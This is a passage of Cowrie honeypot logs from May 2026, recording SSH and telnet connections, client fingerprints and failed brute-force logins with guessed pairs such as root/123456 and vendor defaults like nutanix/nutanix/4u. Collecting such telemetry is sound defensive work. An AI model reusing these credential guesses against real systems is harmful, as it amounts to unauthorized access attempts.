f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:09.455258Z","src_ip":"83.111.76.195","session":"6e05e6208bcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:09.509663Z","src_ip":"38.93.206.2","session":"f2b1502aa62d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@admin123","message":"login attempt [root/root@admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:10.303621Z","src_ip":"83.111.76.195","session":"6e05e6208bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52778,"dst_ip":"159.203.135.109","dst_port":22,"session":"225d695e9446","protocol":"ssh","message":"New connection: 45.156.87.204:52778 (159.203.135.109:22) [session: 225d695e9446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:10.715531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:10.720431Z","src_ip":"45.156.87.204","session":"225d695e9446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:10.802834Z","src_ip":"45.156.87.204","session":"225d695e9446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:11.051727Z","src_ip":"45.156.87.204","session":"225d695e9446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:11.508921Z","src_ip":"83.111.76.195","session":"6e05e6208bcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:12.136793Z","src_ip":"45.156.87.204","session":"225d695e9446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41886,"dst_ip":"10.17.0.5","dst_port":23,"session":"7792ef80e476","protocol":"telnet","message":"New connection: 152.42.224.71:41886 (10.17.0.5:23) [session: 7792ef80e476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:12.259851Z"}
{"eventid":"cowrie.session.closed","duration":26.444214582443237,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:13.995090Z","src_ip":"152.42.224.71","session":"c4ec56a2816c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51556,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bc289e5446","protocol":"ssh","message":"New connection: 45.156.87.204:51556 (159.203.135.109:22) [session: 44bc289e5446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:14.299859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:14.305220Z","src_ip":"45.156.87.204","session":"44bc289e5446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:14.388269Z","src_ip":"45.156.87.204","session":"44bc289e5446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:14.640639Z","src_ip":"45.156.87.204","session":"44bc289e5446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41890,"dst_ip":"10.17.0.5","dst_port":23,"session":"879f913c49b5","protocol":"telnet","message":"New connection: 152.42.224.71:41890 (10.17.0.5:23) [session: 879f913c49b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:15.290760Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:15.745167Z","src_ip":"45.156.87.204","session":"44bc289e5446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a785a26292e8","protocol":"ssh","message":"New connection: 45.156.87.204:51586 (159.203.135.109:22) [session: a785a26292e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:17.786933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:17.957184Z","src_ip":"45.156.87.204","session":"a785a26292e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:17.961466Z","src_ip":"45.156.87.204","session":"a785a26292e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:18.337165Z","src_ip":"45.156.87.204","session":"a785a26292e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:19.423696Z","src_ip":"45.156.87.204","session":"a785a26292e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55188,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc4265c368f","protocol":"telnet","message":"New connection: 152.42.224.71:55188 (10.17.0.5:23) [session: 0bc4265c368f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:20.684653Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51610,"dst_ip":"159.203.135.109","dst_port":22,"session":"d120d8b65105","protocol":"ssh","message":"New connection: 45.156.87.204:51610 (159.203.135.109:22) [session: d120d8b65105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:21.669889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:21.677884Z","src_ip":"45.156.87.204","session":"d120d8b65105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:21.755924Z","src_ip":"45.156.87.204","session":"d120d8b65105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.23922395706177,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:21.921807Z","src_ip":"152.42.224.71","session":"400bce414bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55204,"dst_ip":"10.17.0.5","dst_port":23,"session":"b251926458d7","protocol":"telnet","message":"New connection: 152.42.224.71:55204 (10.17.0.5:23) [session: b251926458d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:22.034625Z"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:22.081581Z","src_ip":"45.156.87.204","session":"d120d8b65105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.90282964706421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:22.551282Z","src_ip":"152.42.224.71","session":"af7e21d22efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":41888,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e3d522e4212","protocol":"ssh","message":"New connection: 42.200.78.78:41888 (159.203.135.109:22) [session: 6e3d522e4212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:22.903632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:22.908552Z","src_ip":"42.200.78.78","session":"6e3d522e4212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:23.126275Z","src_ip":"42.200.78.78","session":"6e3d522e4212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:23.168241Z","src_ip":"45.156.87.204","session":"d120d8b65105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55214,"dst_ip":"10.17.0.5","dst_port":23,"session":"9942f0441f0e","protocol":"telnet","message":"New connection: 152.42.224.71:55214 (10.17.0.5:23) [session: 9942f0441f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:23.290605Z"}
{"eventid":"cowrie.login.failed","username":"vijay","password":"vijay@123","message":"login attempt [vijay/vijay@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:24.026000Z","src_ip":"42.200.78.78","session":"6e3d522e4212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.094366788864136,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:24.448225Z","src_ip":"152.42.224.71","session":"61478c12fab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:25.246566Z","src_ip":"42.200.78.78","session":"6e3d522e4212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54684,"dst_ip":"159.203.135.109","dst_port":22,"session":"45fa079bbeae","protocol":"ssh","message":"New connection: 45.156.87.204:54684 (159.203.135.109:22) [session: 45fa079bbeae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:25.301540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:25.307230Z","src_ip":"45.156.87.204","session":"45fa079bbeae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:25.397834Z","src_ip":"45.156.87.204","session":"45fa079bbeae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:25.645532Z","src_ip":"45.156.87.204","session":"45fa079bbeae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:26.732117Z","src_ip":"45.156.87.204","session":"45fa079bbeae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54696,"dst_ip":"159.203.135.109","dst_port":22,"session":"a67f7646577e","protocol":"ssh","message":"New connection: 45.156.87.204:54696 (159.203.135.109:22) [session: a67f7646577e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:28.912024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:29.142094Z","src_ip":"45.156.87.204","session":"a67f7646577e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:29.145818Z","src_ip":"45.156.87.204","session":"a67f7646577e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:29.525340Z","src_ip":"45.156.87.204","session":"a67f7646577e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:30.611492Z","src_ip":"45.156.87.204","session":"a67f7646577e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42708,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed9eb3742f6","protocol":"ssh","message":"New connection: 45.156.87.204:42708 (159.203.135.109:22) [session: 4ed9eb3742f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:32.795049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:32.800118Z","src_ip":"45.156.87.204","session":"4ed9eb3742f6","protocol":"ssh"}
